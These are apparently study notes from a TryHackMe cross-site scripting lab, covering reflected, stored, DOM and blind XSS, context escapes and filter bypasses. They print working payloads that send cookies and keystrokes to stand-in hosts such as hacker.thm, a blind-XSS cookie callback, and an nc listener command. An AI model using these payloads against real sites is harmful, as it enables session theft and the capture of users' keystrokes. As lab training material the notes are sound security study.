Intro to Cross-Site Scripting (XSS) TryHackMe

Overview

XSS is an injection vulnerability where attacker-controlled JavaScript ends up executing in a victim’s browser under the target site’s origin. Your job: find reflection/storage, break out of the context safely, and prove execution (then escalate impact if allowed).

Payload = intention + modification. Intention is what you want JS to do; modification is how you make it execute in the current HTML/JS context.

1) Payload intentions (common goals)

PoC: <script>alert('XSS')</script>
Cookie/session exfil (demo): <script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie))</script>
Keylogging: <script>document.onkeypress=e=>fetch('https://hacker.thm/log?key='+btoa(e.key))</script>
Business logic abuse: call existing JS functions in the app context

Reality: modern apps often use HttpOnly cookies, so cookie stealing may fail — still valid to demonstrate execution and impact via other actions.

2) XSS types (what changes)

Reflected XSS

User input in the request gets reflected into the response without proper escaping/validation.

Test: URL params, path segments, sometimes headers.
Often exploited via crafted links.

Stored XSS

Your payload is stored (DB/comment/profile) and executes when others view it.

Test: anywhere data is saved then shown back (comments, profiles, listings).
Try bypassing “client-side restrictions” by sending requests manually.

DOM-Based XSS

Execution happens in the browser when JS reads attacker-controlled data (e.g. location.hash) and writes it to the DOM unsafely.

Look for location usage and sinks like innerHTML, document.write, eval.

Blind XSS

Like stored XSS, but you can’t see it fire — you need an out-of-band callback to confirm.

Use XSS Hunter Express, Burp Collaborator, or your own listener to catch hits.

3) Perfecting payloads: escape the context

What you inject into determines what you need to break out of.

Examples from the room (high-signal patterns)

Plain HTML context: <script>alert('THM')</script>
Inside an attribute (e.g. value="..."): close quotes + tag: "><script>alert('THM')</script>
Inside textarea: close tag first: </textarea><script>alert('THM')</script>
Inside JS string: break out + comment tail: ';alert('THM');//

Filter bypass idea: keyword stripping

If a filter removes the word script, you can sometimes “split” it so the filter deletes the inner match and leaves script intact:

<sscriptcript>alert('THM');</sscriptcript>
# becomes
<script>alert('THM');</script>

When < > are filtered: event handlers

If you can’t inject tags, try breaking into existing tags and using events (e.g. onload, onerror).

/images/cat.jpg" onload="alert('THM');

Polyglots: a single string that can break out of multiple contexts and survive filters. Useful when you don’t know the exact sink.

4) Practical example: Blind XSS ticket system

Room flow: create a support ticket, observe reflection in page source, escape the context, then add a callback payload to confirm execution by staff.

</textarea><script>fetch('http://URL_OR_IP:PORT?cookie=' + btoa(document.cookie));</script>

Use a listener (e.g. nc -nlvp 9001) or a request catcher to see the callback.

Exam Notes (PT1) — XSS checklist

Find reflection/storage first; then identify the exact context (HTML, attribute, JS, DOM sink).
Start with a safe PoC (alert), then escalate impact only if allowed.
Reflected: test params + paths; Stored: test places data is saved; DOM: read JS + sinks; Blind: use OOB callbacks.
If filters block tags/angles, pivot to event handlers or filter-bypass tricks.
Always validate execution in the browser (and document page source context).